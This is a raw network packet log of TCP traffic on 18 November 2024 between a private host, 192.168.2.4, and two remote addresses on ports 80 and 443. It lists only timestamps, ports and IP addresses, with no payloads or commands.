Nov 18, 2024 21:04:09.152925014 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.152926922 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.152926922 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.152960062 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.152983904 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.152992010 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153026104 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153038025 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153038025 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153059006 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153091908 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153100014 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153100014 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153126001 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153136969 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153158903 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153166056 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153192997 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153227091 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153235912 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153235912 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153261900 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153295040 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153300047 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153301001 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153328896 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153362989 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153372049 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153372049 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153397083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153429985 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153434992 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153434992 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153464079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153464079 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153496981 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153503895 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153536081 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153569937 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153583050 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153583050 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153604031 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153637886 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153644085 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153644085 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153670073 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153696060 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153702974 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153737068 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153738976 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153757095 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153772116 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153779984 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153805971 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153831005 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153837919 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153844118 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153872967 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153907061 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153919935 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153919935 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153939009 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153975964 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.153983116 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.153983116 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154009104 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154014111 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154042959 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154076099 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154079914 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154109955 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154119015 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154119968 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154143095 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154145956 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154175997 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154196024 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154208899 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154232979 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154242039 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154274940 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154282093 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154282093 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154308081 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154316902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154340982 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154376984 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154381037 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154381037 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154409885 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154428005 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154447079 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.154488087 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.154488087 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.180536985 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.180638075 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.180641890 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.180697918 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.180722952 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.180752039 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.180787086 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.180799007 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.180799007 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.180823088 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.180840969 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.180856943 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.180898905 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.180898905 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.180912018 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.180946112 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.180980921 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.180982113 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.180982113 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181015015 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181039095 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181050062 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181057930 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181088924 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181135893 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181135893 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181135893 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181169987 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181200027 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181204081 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181236982 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181248903 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181248903 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181271076 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181292057 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181304932 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181339025 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181341887 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181341887 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181372881 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181407928 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181417942 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181417942 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181441069 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181478024 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181483984 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181483984 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181562901 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181596994 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181597948 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181597948 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181633949 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.181653023 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.181744099 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.193264961 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.193478107 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.193587065 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.193680048 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.193680048 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.193723917 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.193753004 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.196852922 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.196891069 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.196968079 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.197138071 CET	49797	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.197151899 CET	443	49797	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.212981939 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213037968 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213056087 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213073969 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213112116 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213112116 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213123083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213156939 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213202000 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213202953 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213208914 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213243008 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213293076 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213293076 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213293076 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213325977 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213359118 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213368893 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213368893 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213392973 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213402033 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213445902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213448048 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213502884 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213515043 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213537931 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213572025 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213579893 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213579893 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213607073 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213641882 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213645935 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213645935 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213675976 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213699102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213709116 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213742018 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213752985 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213752985 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213774920 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213845968 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213860035 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213884115 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213896036 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213926077 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.213944912 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213944912 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.213988066 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.214349985 CET	443	49794	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.214509010 CET	443	49794	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.214596033 CET	49794	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.214596987 CET	49794	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.214675903 CET	49794	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.214711905 CET	443	49794	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.216836929 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.216927052 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.217019081 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.217148066 CET	49798	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.217183113 CET	443	49798	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.245460033 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.245491982 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.245544910 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.245544910 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.245609999 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.245665073 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.245688915 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.245695114 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.245733976 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.245733976 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246201992 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246280909 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246328115 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246328115 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246373892 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246428967 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246453047 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246464968 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246491909 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246505976 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246517897 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246552944 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246577978 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246586084 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246611118 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246639967 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246646881 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246692896 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246721983 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246726990 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246750116 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246764898 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246798992 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246800900 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246839046 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246839046 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246850967 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246884108 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246918917 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246923923 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246923923 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246952057 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.246999979 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.246999979 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247008085 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247040987 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247075081 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247086048 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247086048 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247124910 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247159958 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247169971 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247169971 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247205019 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247214079 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247240067 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247272015 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247278929 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247278929 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247306108 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247320890 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247359037 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247381926 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247416019 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247431040 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247448921 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247459888 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247504950 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247515917 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247539043 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247567892 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247572899 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247612953 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247612953 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247622967 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247656107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247690916 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247697115 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247697115 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247725010 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247757912 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247766972 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247766972 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247808933 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247857094 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247857094 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247859955 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247896910 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247900009 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247930050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247962952 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.247966051 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.247994900 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248008966 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248008966 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248028994 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248059034 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248063087 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248071909 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248095989 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248105049 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248128891 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248162985 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248172998 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248172998 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248197079 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248238087 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248239994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248239994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248270988 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248303890 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248310089 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248310089 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248336077 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248372078 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248379946 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248379946 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248405933 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248430014 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.248444080 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.248449087 CET	49786	80	192.168.2.4	185.215.113.16
